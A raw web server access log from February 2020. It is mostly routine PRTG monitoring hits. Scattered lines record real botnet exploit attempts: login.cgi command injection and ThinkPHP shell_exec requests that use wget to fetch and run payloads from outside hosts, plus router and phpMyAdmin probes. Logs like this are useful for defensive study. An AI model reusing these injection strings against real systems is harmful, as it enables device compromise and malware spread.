212.91.246.72 - - [22/Feb/2020:18:32:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.143.18.124 - - [22/Feb/2020:18:32:39 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
212.91.246.72 - - [22/Feb/2020:18:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.219.11.153 - - [22/Feb/2020:18:35:19 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:18:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.219.11.153 - - [22/Feb/2020:18:36:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:18:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.106.130.87 - - [22/Feb/2020:18:39:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
183.105.27.14 - - [22/Feb/2020:18:40:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:18:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [22/Feb/2020:18:40:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [22/Feb/2020:18:40:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [22/Feb/2020:18:41:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [22/Feb/2020:18:41:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:18:41:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.157.52.14 - - [22/Feb/2020:18:45:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:18:45:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.180.86.47 - - [22/Feb/2020:18:45:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:18:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.141.39.5 - - [22/Feb/2020:18:47:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [22/Feb/2020:18:47:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:50:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:52:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:53:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.42.137.140 - - [22/Feb/2020:18:54:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [22/Feb/2020:18:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.5.36.197 - - [22/Feb/2020:18:57:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:18:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:58:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:00:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:01:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.5.36.197 - - [22/Feb/2020:19:02:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:19:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:04:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.173.35.45 - - [22/Feb/2020:19:06:08 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [22/Feb/2020:19:06:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:07:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:09:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:11:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
102.152.21.125 - - [22/Feb/2020:19:12:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:19:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
102.141.74.17 - - [22/Feb/2020:19:14:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.245.138.189/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
102.141.74.17 - - [22/Feb/2020:19:14:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.245.138.189/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:19:14:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.147.174.61 - - [22/Feb/2020:19:14:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [22/Feb/2020:19:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.114.149.10 - - [22/Feb/2020:19:16:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:19:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:18:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.143.94 - - [22/Feb/2020:19:20:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:19:21:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.113.46.210 - - [22/Feb/2020:19:24:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:19:24:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.242.162.19 - - [22/Feb/2020:19:26:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
37.1.175.99 - - [22/Feb/2020:19:26:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:19:26:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:27:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [22/Feb/2020:19:28:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [22/Feb/2020:19:28:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
105.154.22.193 - - [22/Feb/2020:19:31:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:19:31:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:32:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.156.44.62 - - [22/Feb/2020:19:34:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:19:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.207.115.222 - - [22/Feb/2020:19:41:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:19:41:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.65.129.178 - - [22/Feb/2020:19:42:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:19:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:45:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:47:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:50:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.76.114.37 - - [22/Feb/2020:19:50:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:19:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
173.255.186.130 - - [22/Feb/2020:19:51:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:19:52:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:53:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:19:58:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.170.109.5 - - [22/Feb/2020:19:58:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:19:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:00:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:01:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.219.200.159 - - [22/Feb/2020:20:01:48 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
79.140.152.250 - - [22/Feb/2020:20:02:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.235.246.48 - - [22/Feb/2020:20:02:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:20:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:04:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:06:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:07:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:09:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:11:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.79.95.207 - - [22/Feb/2020:20:11:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:20:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.204.57.123 - - [22/Feb/2020:20:13:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.204.188.4 - - [22/Feb/2020:20:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [22/Feb/2020:20:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.233.123.113 - - [22/Feb/2020:20:14:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:20:14:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.190.254.34 - - [22/Feb/2020:20:17:49 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
